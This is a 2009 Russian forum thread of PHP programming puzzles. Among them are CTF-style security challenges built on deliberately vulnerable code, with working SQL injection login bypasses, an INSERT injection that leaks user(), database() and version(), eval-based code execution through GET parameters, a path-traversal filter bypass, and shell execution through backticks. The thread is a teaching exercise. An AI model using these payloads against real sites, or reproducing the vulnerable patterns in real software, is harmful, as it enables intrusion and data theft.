и по моему в данном примере её будет рациональней использовать
круто! ,у тебя выйдет в слове ОМГ
3 спецсимвола.
откуда ты взял что $stroka массив?
htmlspecialchars — Преобразует специальные символы в HTML сущности
и по моему в данном примере её будет рациональней использовать
Эм можно в рег и русские буквы добавить....
А №%:?*' htmlspecialchars пропустит
Насчёт массива возможно я не прав,я не кодер.
По привычке представляю себе строку как массив char...
Krist_ALL
26.08.2009, 18:10
LIGA,
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}
?>
Надо вместо $stroka[$i] , ,$stroka{$i}
Надо вместо $stroka[$i] , ,$stroka{$i}
Можно и так и так. Пока что. В PHP6 можно только [$i].
Другое дело, что функция записывается проще:
<?php
function countspec($stroka)
{
echo 'Спецсимволов: '.preg_match_all('/[^a-zA-Z0-9]/',$stroka,$m);
}
?>
В регулярку добавьте символы, которые нужно.
LIGA,
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}
?>
Надо вместо $stroka[$i] , ,$stroka{$i}
это код S00pY, в моем все впорядке.
Pashkela
26.08.2009, 18:23
Вот мой вариант этой задачки:
<?php
function countspec($stroka) {
$count=0;
for($i=0;$i<strlen($stroka);$i++) {
if(!preg_match("#[\sa-zа-я0-9]#i",$stroka{$i})) $count++;
}
Echo ('Спец символов:'.$count);
}
countspec("Вася Пушкин Loloman !@#$%^&*()-+№");
?>
Пробел не спец символ по идее, его просто надо игнорировать, ну и большие буквы если просто модификатор i ставим и всё
Но это опять же не учитывая возможных кириллических кодировок и прочих уникодов
PS: Но самый красивый вариан конечно у d_x двумя постами выше, но с моей регуляркой + его ^ в начале, т.е. так:
<?php
function countspec($stroka)
{
echo 'Спецсимволов: '.preg_match_all('/[^\sa-zа-я0-9]/i',$stroka,$m);
}
countspec("Вася Пушкин Loloman !@#$%^&*()-+№");
?>
Ради интереса сделал бенчмарк:
<?php
set_time_limit(0);
//моя функция
function countspec($stroka)
{
return preg_match_all('/[^a-zA-Zа-яА-ЯёЁ0-9 ]/',$stroka,$m);
}
//функция Pashkela
function countspec2($stroka) {
$count=0;
for($i=0;$i<strlen($stroka);$i++) {
if(!preg_match("#[\sa-zа-я0-9]#i",$stroka{$i})) $count++;
}
return $count;
}
//для бенчмарка
function microtime_float()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$m=microtime_float();
for($i=0;$i<500000;$i++)
{
countspec('вася пупкин !@#45 траляля');
}
$tm=microtime_float()-$m;
print 'd_x: '.$tm.' sec<br>';
$m=microtime_float();
for($i=0;$i<500000;$i++)
{
countspec2('вася пупкин !@#45 траляля');
}
$tm=microtime_float()-$m;
print 'Pashkela: '.$tm.' sec<br>';
?>
Результат:
d_x: 4.36448502541 sec
Pashkela: 33.2198770046 sec
Моя функция в 7.5 раз быстрее)
mailbrush
26.08.2009, 19:21
Задание 024<?php
function getmicrotime() #функция, засекающая время
{
$time = explode(" ", microtime());
return ($time[0] + $time[1]);
}
$time['first']['start'] = getmicrotime(); #время начала первого цикла
for ($i = 0; $i < 10; $i++)
{
echo '1php ';
}
$time['first']['end'] = getmicrotime(); #время окончания первого цикла
$i = 0;
$time['second']['start'] = getmicrotime(); #время начала второго цикла
while ($i < 10)
{
echo 'w1';
$i += 1;
}
$time['second']['end'] = getmicrotime(); #время окончания второго цикла
$time['first']['difference'] = $time['first']['end'] - $time['first']['start']; #время работы первого цикла
$time['second']['difference'] = $time['second']['end'] - $time['second']['start']; #время работы второго цикла
$time['difference'] = $time['first']['difference'] - $time['second']['difference']; #разница во времени между циклами
echo '<br>Первый скрипт: ' . $time['first']['difference'] .
'<br>Второй скрипт: ' . $time['second']['difference'] .
'<br>Разница: ' . $time['difference']; #выводим информацию
?>
Первый скрипт: 5.5074691772461E-5
Второй скрипт: 1.978874206543E-5
Разница: 3.5285949707031E-5
mailbrush
26.08.2009, 19:37
Задание 030
В результате слияния
<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?> мы получим следующий результат
Array
(
[0] => Moscow
[1] => London
[2] => fox
)
Неожиданный результат, не правда ли? Скорее всего вы ожидали получить массив
Array
(
[0] => Moscow
[1] => London
[2] => cat
[3] => dog
[4] => fox
[5] => RED
)
Однако в PHP на этот счет свои правила. При слиятии массивов, в которых содержатся элементы с одинаковыми индексами (ключами), в результирующем массиве останется элемент первого массива. А в приведенном примере элементы массива b имели индексы - 0, 1; массива a - 0, 1, 2; массива c - 1. В итоге мы получили массив с тремя индексами:Array
(
[0] => Moscow
[1] => London
[2] => fox
)
Krist_ALL
29.08.2009, 19:07
Новые задания добавил.
Нород, пишите сюда свои задания тоже. А то тема быстро падает. Да и фантазия скоро закончится совсем(
Задание 33
<?php $a = -1;
If($a == TRUE) echo 1; ?>
Потому что -1 считается true, как и любое ненулевое (отрицательное или положительное) число.
Задание 034
<?php
echo (int)((0.1+0.7) *10);
?>
Потому что происходит преобразование значения в целое число.
Krist_ALL
31.08.2009, 20:09
новое задание добавил. (от mailbrush)
>>Выполнить системную команду , не используя exec,system,passthru,shell_exec
мб proc_open ?
>>Выполнить системную команду , не используя exec,system,passthru,shell_exec
мб proc_open ?
<?php
echo `ls -la`;
?>
Может так? или я не про то подумал?!...
<?php
echo `ls -la`;
?>
Может так? или я не про то подумал?!...
Обратные кавычки это аналог shell_exec
Кстати echo на аналог "=" можно заменить : <?=`dir`;?>
<? $a($b);?>
Я выиграл?:d
mailbrush
31.08.2009, 22:18
Добавил еще одно задание.
Решаем :).
FireFenix
31.08.2009, 22:56
Добавил еще одно задание.
Решаем :).
при включённых глоабалс мона обратиться
echo $GLOBALS["hello"];
mailbrush
31.08.2009, 23:20
при включённых глоабалс мона обратиться
echo $GLOBALS["hello"];
Хитрый ты :)
Нужно вывести именно значение переменной $word, а не значение массива $_GLOBALS с ключем word.
Я знаю про register_globals, но я не это имел в виду :)
А так пойдет?
$word="hello";
print ${base64_decode('d29yZA==')};
Подстроки "$word" нету, даже просто "word" нет)
Убедиться в том, что вывожу именно эту переменную можно, изменив ее содержимое.
Насчёт Задания 34.В РНР так делать вообще кощунство,ибо это приводит к ошибке всвязи с тем,что дробь неизвестная получается.По идее,округление флоат типа к целому происходит в сторону нуля,но тут просто баг какой-то...
36 можно ещо так
$word = 'Hello';
$a = range('a','z');
// 22=w, 14=o, 17=r, 3=d
$a = $a[22].$a[14].$a[17].$a[3];
// $a = word
// $$a = $word
echo $$a;
mailbrush
01.09.2009, 09:41
eLWAux, это 36ое :)
Никакой конкатезации в коде не должно быть.
Я вообще-то имел в виду символические ссылки, но все три варианта хороши :)
imajo.ati
01.09.2009, 10:46
зад 36
echo $$hello
Мб лучше сделать тему в Уязвимостях для заданий по уязвимостям ? Ну там обходы фильтров и тд. Было б здорово. А то здесь как-то все в куче..
<? $a($b);?>
Я выиграл?:d
<?=`$c`?> цоце цоце цоце :D
<?=`$c`?> цоце цоце цоце :D
мне кажется в 127 посту я тоже самое написал...
мне кажется в 127 посту я тоже самое написал...
да это я так, о своем...
От мну
Задание: Нужно попасть в админку, обойдите авторизацию
Меджик_квотес=офф
<?php
$login = substr($_GET['login'],0,8);
$password = substr($_GET['password'],0,8);
$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);
$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);
$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);
$query = "select * from `admin` where login = '$login' and password = '$password'";
$result = mysql_query($query);
if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>
Krist_ALL
03.09.2009, 01:22
Народ,ща я с мобилы,поэтому добавлять ваши задания/ответы не могу.
Подумаю над разделением заданий на темы.
В планах сделать 100 заданий) и сделать пдфку! 100 пхп заданий
От мну
Задание: Нужно попасть в админку, обойдите авторизацию
Меджик_квотес=офф
?=login=-1' or 1=1&password=1
m0nsieur
03.09.2009, 11:18
?=login=-1' or 1=1&password=1
а ничего что
$login = preg_replace("/and|or/i","fuck",$login);
разве замена 'or' не произойдет?
?=login=-1' or 1=1&password=1
Так ведь не прокатит :)
$login = preg_replace("/and|or/i","fuck",$login);
Суть в том, чтобы обойтись без or
geezer.code
03.09.2009, 11:56
ну раз так, то OR заменим на ||
Joker-jar
03.09.2009, 12:12
geezer.code, ограничение на 8 символов. К тому же, DIAgen не обработал закрывающую логин кавычку
Joker-jar
03.09.2009, 12:37
Хм, правда не знаю :) Почти на 100% уверен что метод отсекает "and password = '$password'" так как с ним замутить выборку, не зная пароля имхо нереально. Возможно, юзается неизвестный науке тип комментария? :)
Joker-jar 8 символов даже много ?login=&password=' || '1
Joker-jar
03.09.2009, 16:06
ОМФГ точно, что то у меня с приоритетами логических операций глюк в голове вышел ))) Gifts, крут, не проверял правда, но на глаз оно.
З.Ы. Я предполагал, что (...) or '1' мускуль скушает как истину, но что то упёрся я в этот login и все туда пытался подставлять :)
?login=&password=' || '1
Отлично, это работает. Я сам виноват, нужно было учесть || . Усложняем задачу: добавляем фильтрацию | и ограничение на 6 символов :) (хотя конечно логин и пароль на 6 символов – бредово для реальных условий, ну да ладно)
<?php
$login = substr($_GET['login'],0,6);
$password = substr($_GET['password'],0,6);
$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);
$login = str_replace('|', '', $login);
$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);
$password = str_replace('|', '', $password);
$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);
$query = "select * from `admin` where login = '$login' and password = '$password'";
$result = mysql_query($query);
if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>
Задача та же - обойти авторизацию
ElteRUS Эээ, в рот мне ноги, я не понимаю почему это работает, но, ведь, работает ?login=\&password=%2B'
Уточняю, выбирает из таблицы почти все записи +- 400 (из 40к) С другими таблицами и другими серверами мускуля - тоже самое, выбирает записи, но не все
ElteRUS Эээ, в рот мне ноги, я не понимаю почему это работает, но, ведь, работает ?login=\&password=%2B'
Хм, да это то, только своеобразно оформлено но сути не меняет, твой вариант даже круче ))
Я рассчитывал на такое:
Логин '='
Пароль '='
Либо так a'='a в логин и пароль. Давайте посмотрим на получившиеся запрос:
select * from `admin` where login = 'a'='a' and password = 'a'='a'
Такой запрос прокатит. Выполните у себя на локалхосте
Select * from mysql.user where user = 'a'='a';
Выведутся все записи таблицы. Ну тот факт, что mysql поддерживает прямое сравнение строк – известен. Но дальше круче )) Выполните такое
Select * from mysq.user where user = 'aasdfsdf'='usu';
И это прокатит. Хотя очевидно, что эти строки не равны.
Твой пример из той же оперы
select * from `admin` where login = '\' and password = '%2B''
Только здесь видно что кроме = может быть и +, а так же * - )))
Объясните пожалуйста по зад.34.
echo (int)((0.1+0.7) *10);
почему выводит 7? и 8 если echo (int)(0.8*10)...
каким образом сумма в скобках влияет на результат? ведь 0,1+0,7=0,8
и при приведении к целому, д.б. просто откинуться дробная часть...
Krist_ALL
04.09.2009, 13:12
Подробное разъяснение случая с 'а'='б'='с' http://bugs.mysql.com/bug.php?id=39337
это не баг,а преобразование типов.
Фамнам, это непредсказуемо в некоторых случаях,зависит от платформы ,на которой исполняется пхп код.
Joker-jar
04.09.2009, 14:57
хотя конечно логин и пароль на 6 символов – бредово для реальных условий
так еще бредовей с логинов и пассов юзеров подстроки 'and' и 'or' удалять )))
Krist_ALL
18.09.2009, 14:34
Добавил еще 3 задания.
//ОФТОП
Завтра пойду в институт первый раз, волнуюсь) Поддержим Krist_ALLа!
Gray_Wolf
18.09.2009, 15:27
38.
<?php
function ch($num,$str){
$res=str_split($str);
$i=0;
while ($i < count($num)){
$cn=$num[$i]-1;
$res[$cn]=strtoupper($res[$cn]);
$i++;
}
return implode("",$res);
}
?>
Gray_Wolf
18.09.2009, 15:32
39.
Всё дело в динамической типизации PHP.
38.
<?php
function ch($num,$str){
$res=str_split($str);
$i=0;
while ($i < count($num)){
$cn=$num[$i]-1;
$res[$cn]=strtoupper($res[$cn]);
$i++;
}
return implode("",$res);
}
?>
наркоманы млять
<?php
function ch($num,$str){
foreach($num as $key => $value)
$str[$value-1] = strtoupper($str[$value-1]);
return $str;
}
?>
39:
Выведет 0
Я не знаю почему так, но думаю из-за следующего.
Все происходит из-за динамического определения типа переменной.
ноль вначале свидетельствует что значение переменной - восьмеричное число, но так как после нуля идет 8, чего в восмеричном представлении быть не может, то число превращается в ноль.
Еще раз повторю, что я не знаю почему так, но с другими системами счисления не получилось добиться такого результата. в десятично и шестнадцатиричном все время ругается так:Parse error: syntax error, unexpected T_STRINGА вообще я просто не знаю где об этом можно нормально почитать. Отсюда и все проблемы
40:
<?php
$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';
$b = array();
$i = 0;
foreach($a as $val)
foreach($val as $value => $key)
$b[$i++] = $key;
print_r($b);
?>
хотя думаю можно как-нибудь и покороче сделать
Van Bekannt
19.09.2009, 23:17
Задание 40:
<?php
$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';
$result = array();
slice_array( $a );
echo '<pre>';
print_r( $result );
function slice_array( $array = array() ) {
global $result;
foreach( $array as $value ) {
if( is_array( $value ) ) slice_array( $value );
else $result[] = $value;
}
}
?>
Эта функция "плющит" любой массив...
Ну или если не хотите заморачиваться с глобальными переменными:
function slice_array( $array = array(), &$result ) {
foreach( $array as $value ) {
if( is_array( $value ) ) slice_array( $value, $result );
else $result[] = $value;
}
}
Первый аргумент - массив который надо плющить, а второй - куда все запишется ( передается указатель на массив, т.е. он должен быть заранее определен )
Задача 39:
восьмеричные числа имеют следующее правило:
0[0-7]+
ноль впереди и дальше числа от 0 до 7 ( не выше - на то они и восьмеричные числа ). все что выше == 0
Поэтому эта программа выведет 0. Чтобы вывести 8 нужно написать: 010
По поводу задачи 38 - думаю gisTy норм решение дал...
Задание 38
function ch($num,$str){
foreach($num as $value)
if($value<strlen($str))
$str[$value-1] = strtoupper($str[$value-1]);
return $str;
}
во первых там $key в foreach не нужен если на то уже пошло... и небольшой проверки на то что если значение в массиве больше чем букв в строке тоже как бы не мешало :)
и сам же забыл поставить -1 в if-е :)
Extremal
22.09.2009, 11:03
Задание 039
Что выведет скрипт и почему.
<?php
$i = 08;
echo $i;
?>
Выведет 0 потому что,без кавычек считается что это числовое значение.
Krist_ALL
06.10.2009, 15:07
2 новых задания ждут вас)
SleepShadowWeb
06.10.2009, 16:14
содержимое файла sort.php
if(str_replace('\\', '/', __FILE__) != $_SERVER['SCRIPT_FILENAME']) echo 'included'; else echo 'svoi';
Krist_ALL
06.10.2009, 16:52
мона еще и подругому)
mailbrush
06.10.2009, 18:34
№ 41
<?php
if ('/' . $lamer != $_SERVER['PHP_SELF'])
{
die('Hacking attempt!');
}
?>
#41echo (strpos(__FILE__,$_SERVER['PHP_SELF']) !== false) ? "all right\n" : "include\n";как-то так
<?php
$i = 08;
echo $i;
?>
Только начал учить PHP, и понятно что логично было б подумать, что на экран выведит строку "08".
Некоторые говорят что только 0, почему, кто пояснит?
2 AndresЗадача 39:
восьмеричные числа имеют следующее правило:
0[0-7]+
ноль впереди и дальше числа от 0 до 7 ( не выше - на то они и восьмеричные числа ). все что выше == 0
Поэтому эта программа выведет 0. Чтобы вывести 8 нужно написать: 010
SleepShadowWeb
07.10.2009, 17:41
$rez = create(5);
var_dump($rez);
function &create($n)
{
eval("\$b". str_repeat('[0]', $n) . " = 0;");
return $b;
}
function createArr($n) {
$a = array();
while(--$n) {
$a = array($a);
}
return $a;
}
Новое задание от меня.
Определить, что делает скрипт и описать это по шагам (несущих смысловую нагрузку в скрипте буквально 5-7 строк).
Скрипт выводит некое число. Откуда оно берется? Почему оно такое? По шагам.
Скачать скрипт:
http://slil.ru/28081439
http://dump.ru/file/3582271
P.S. Мой обфускатор)
1eval()//выполняет код
2 возвращает оригинальные несжатые данные после gzcompress();
3 base64_decode()//декодирует данные, закодированные base64_encode();
Я прошу рассказать, что скрыто под всем этим. Скрипт выводит некое число. Откуда оно берется? Почему оно такое? По шагам.
The_HuliGun
15.10.2009, 00:12
<?php
$i = 08;
echo $i;
?>
Только начал учить PHP, и понятно что логично было б подумать, что на экран выведит строку "08".
Некоторые говорят что только 0, почему, кто пояснит?
Если запись числа в пхп начинается с цифры 0, значит число записано в восьмеричной системе исчисления, а так как в восьмеричной системе используються цифры от 0 к 7, а цифра 8 не используется, то в результате интерпретатор виводит число 0.
mailbrush
15.10.2009, 01:06
d_x,
Назначает переменной $GLOBALS['_B_'] массив из 11 элементов, значение которых - base64_decode.
Ф-ция B($i) возвращает декодированный base64 элемент массива $a, индекс которого находится в аргументе ф-ции, в котором находятся дважды кодированные base64 названия ф-ций, заголовков, протокола tcp:// и одной регулярки (мб там еще что-то есть, но я больше не копал).
Назначает переменной $GLOBALS['_A_'] массив из 10 элементов
[_A_] => Array
(
[0] => fsockopen
[1] => stream_set_timeout
[2] => fputs
[3] => fputs
[4] => feof
[5] => fgets
[6] => fclose
[7] => preg_match
[8] => str_replace
[9] => mt_rand
)
Ф-ция A возвращает декодированный base64 (название ф-ции берется из $GLOBALS['_B_'][10], а она (как было сказано выше) - base64_decode) элемент массива из массива $__, с индексом - аргументом этой ф-ции.
Далее идёт соединение по tcp://www.yandex.ru и выводится ошибка создания сокета (если есть). Потом в цикле while() считывается полученный ответ. Дальше по регулярке /<strong>([,\d]+)<\/strong><\/td><td>.{1,10}<\/td><\/tr><\/tbody><\/table>/Usi находит вхождение (это курс валют). Но ничего не находит, т.к. нету вхождений. Соответственно после проверки на isset() 0.0 (запятая заменена на точку str_replace) умножается на 100, к этому прибавляется... аааа... Вот это подстава :) И ради банального рандума я сидел более часа над этим кодом?
Хех, спасибо, немного пошевелил мозгами :) Иногда полезно... Респект за задумку...
Отлично, +5 :)
Вот исходный код:
<?php
$header="Host: www.yandex.ru\r\n";
$header.="User-Agent: MSIE 7.0 Win\r\n";
$header.="Connection: close\r\n";
$header.="\r\n";
$addquery="GET / HTTP/1.0\r\n";
$host='www.yandex.ru';
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
stream_set_timeout($fp,30);
if(!$fp)
{
print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
die();
}
fputs($fp,$addquery);
fputs($fp,$header);
$ret='';
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
fclose($fp);
preg_match("/<strong>([,\d]+)<\/strong><\/td><td>.{1,10}<\/td><\/tr><\/tbody><\/table>/Usi",$ret,$m);
$m=isset($m[1]) ? $m[1] : '0,0'; //получаем курс нефти с яндекс.ру(если не удается, то 0.0)
$m=str_replace(',','.',$m); //заменяем запятую на точку
$m=(int)$m*100+mt_rand(1,99); //умножаем целую часть курса на 100 и прибавляем рандомное число от 1 до 99
print $m; //выводим
?>
magnat_8
24.10.2009, 00:23
<?
$str="11111 222222";
preg_match("#(.*) (.*)#is",$str,$m);
echo "$m[2] $m[1]";
?>
Вот задачка от меня, найдите уязвимость в коде.
Структура БД:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));
<?php
mysql_connect('localhost', 'root', 'secretpassword');
mysql_select_db('antichat');
//Обработка переменных
function Sanitize($data_to_sanitize) {
$data_to_sanitize = addslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize);
return $data_to_sanitize;
}
function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";
mysql_query($sql);
mysql_close();
?>
(Dm) уже не интересно
ЗЫ статья +5
да, последняя банальна..
$_SERVER['HTTP_USER_AGENT'] и $_SERVER['HTTP_REFERER']
EST a1ien
08.11.2009, 09:39
Еще более компактный код в ответ на 11 вопрос
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
$str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str);
print $str;
Termin@L
09.11.2009, 15:38
по поводу задания 41:
get_included_files()
функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось.
задание 42:
<?php
function arr($amt)
{
$a=array();
$tmp=&$a;
for($i=0;$i<$amt-2;$i++)
{
$tmp=&$tmp[0];
$tmp[0]=array();
}
return $a;
}
?>
тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)
HAXTA4OK
11.11.2009, 12:09
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>
Вывести phpinfo(); всеми способами
да, последняя банальна..
если ты эт про мое задание, напиши как выполнить sql инъекцию.
mailbrush
11.11.2009, 15:25
если ты эт про мое задание, напиши как выполнить sql инъекцию.
Да очень просто... Я уже один раз встречался с подобным :)
Юзер-агент ставим:
00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000\
Реферер:
, concat_ws(0x3a,user(),database(),version())) --
И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет:
INSERT INTO stats (ip, useragent, referer)
VALUES
(
'127.0.0.1',
'000...много нулей...00\',',
concat_ws(0x3a,user(),database(),version())
)
--')
ЗЫ: Вот тут была похожая ситуация:
http://forum.antichat.ru/threadnav134652-1-10.html
mailbrush, молодец) что выполнил задание... тебе +
Задание 006: просто зайти. Пароль не потребует ;)
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>
Вывести phpinfo(); всеми способами
?a[]=1&b=phpinfo();
всё :)
mailbrush
11.11.2009, 17:08
Ctacok, не все :)
?a=1.1&b=phpinfo();
?a=1e10&b=phpinfo();
?a[]=1&b=phpinfo();
многомерный массив
?a[[[[[[[]]]]]]]=1&b=phpinfo();
Krist_ALL
12.11.2009, 16:32
3 новых задания!
+ 042 заменил т.к. оно было похоже на одно из предыдущих.
Перенес все задания в первый пост.
Он заполнен.
Теперь во втором посте буду писать задания.
Когда и он переполнится, создам новую тему.
Спасибо всем кто добавляет свои задания.
УДАЧИ!
Задание 046
Чем отличается $a = $i++; от $a = ++$i;
++$i - префиксный вариант инкремента
$i++ - постфиксный
Префиксный оператор вычисляется до присвоения, постфиксный после.
Задание 048
//Мы вызываем функцию cat с 3мя параметрами
cat(1,2,3);
function cat(......)
{
................
return //Функция должна вернуть число аргументов, которые мы передаем при её вызове.
// cat(1) функция должна вернуть 1
// cat(1,2,,5,8,5,478,8,5) функция должна вернуть 8
}
Узнаем кол-во аргументов, с помощью функции func_num_args()
<?php
function cat()
{
$numargs = func_num_args();
echo $numargs;
}
cat(1,2,5,8,5,478,8,5);
?>
Krist_ALL
12.11.2009, 20:12
ВЕРНО.
048 и 046 правильно сделал.
Krist_ALL
12.11.2009, 20:39
50 заданий всего!
самая большая сборка пхп заданий)
будем продолжать в том же темпе.
Напомню:
Если ты придумал свое задание, не стесняйся , пости, я добавлю во второй пост
Если ты знаешь как улучшить задания или тебе что-то не нравится, пиши сюда или мне в аську.
050
echo count(file($_SERVER['SCRIPT_NAME']))-2;
Задание 042
index.php?filename=....//a.php
Krist_ALL
13.11.2009, 18:08
LIGA и zOOMAN , правильно решили!
EST a1ien
24.11.2009, 04:27
Ответ на 49 вопрос
С $GLOBALS нельзя выполнить var_export так-как
var_export() возвращает структурированную информацию о данной переменной. Функция аналогична var_dump() за одним исключением: возвращаемое представление является полноценным PHP кодом.
А $GLOBALS содержит рекурсию
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.
Krist_ALL
25.11.2009, 11:54
Ответ на 49 вопрос
С $GLOBALS нельзя выполнить var_export так-как
А $GLOBALS содержит рекурсию
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.
еше unset нельзя делать
imajo.ati
25.11.2009, 21:32
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.
<?php
$a = array(1,2,3);
$a['recursion'] = &$a;
print_r($a);
Krist_ALL
30.11.2009, 17:59
Проект закрыт! Задания больше не будет. Я объясню почему.
После смены алгоритма репутации, народ перестал решать задания, оказывается раньше люди решали задания за +++++, а ведь они еще приобретали опыт и новые знания. Но главным для них были +++++. Очень жаль. Спасибо всем , кто добавлял свои задания. Я планировал много интересных задания и книгу 100 заданий php. А сейчас заданий только 50. Может быть задания появються на другом всем известном портале. И всеже ВСЕМ респект огромный!!!
книгу 100 заданий php
Донцова чтоле? и какой "проэкт"? Ты слишком многое о себе возомнил,мальчуган.
Даже допишу.Тема была интересной,но никак не "проэктом" и почти все эти задания есть на различных ресурсах,чтоит только поискать.А почему тему не изренеймили,до сих пор загадка.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot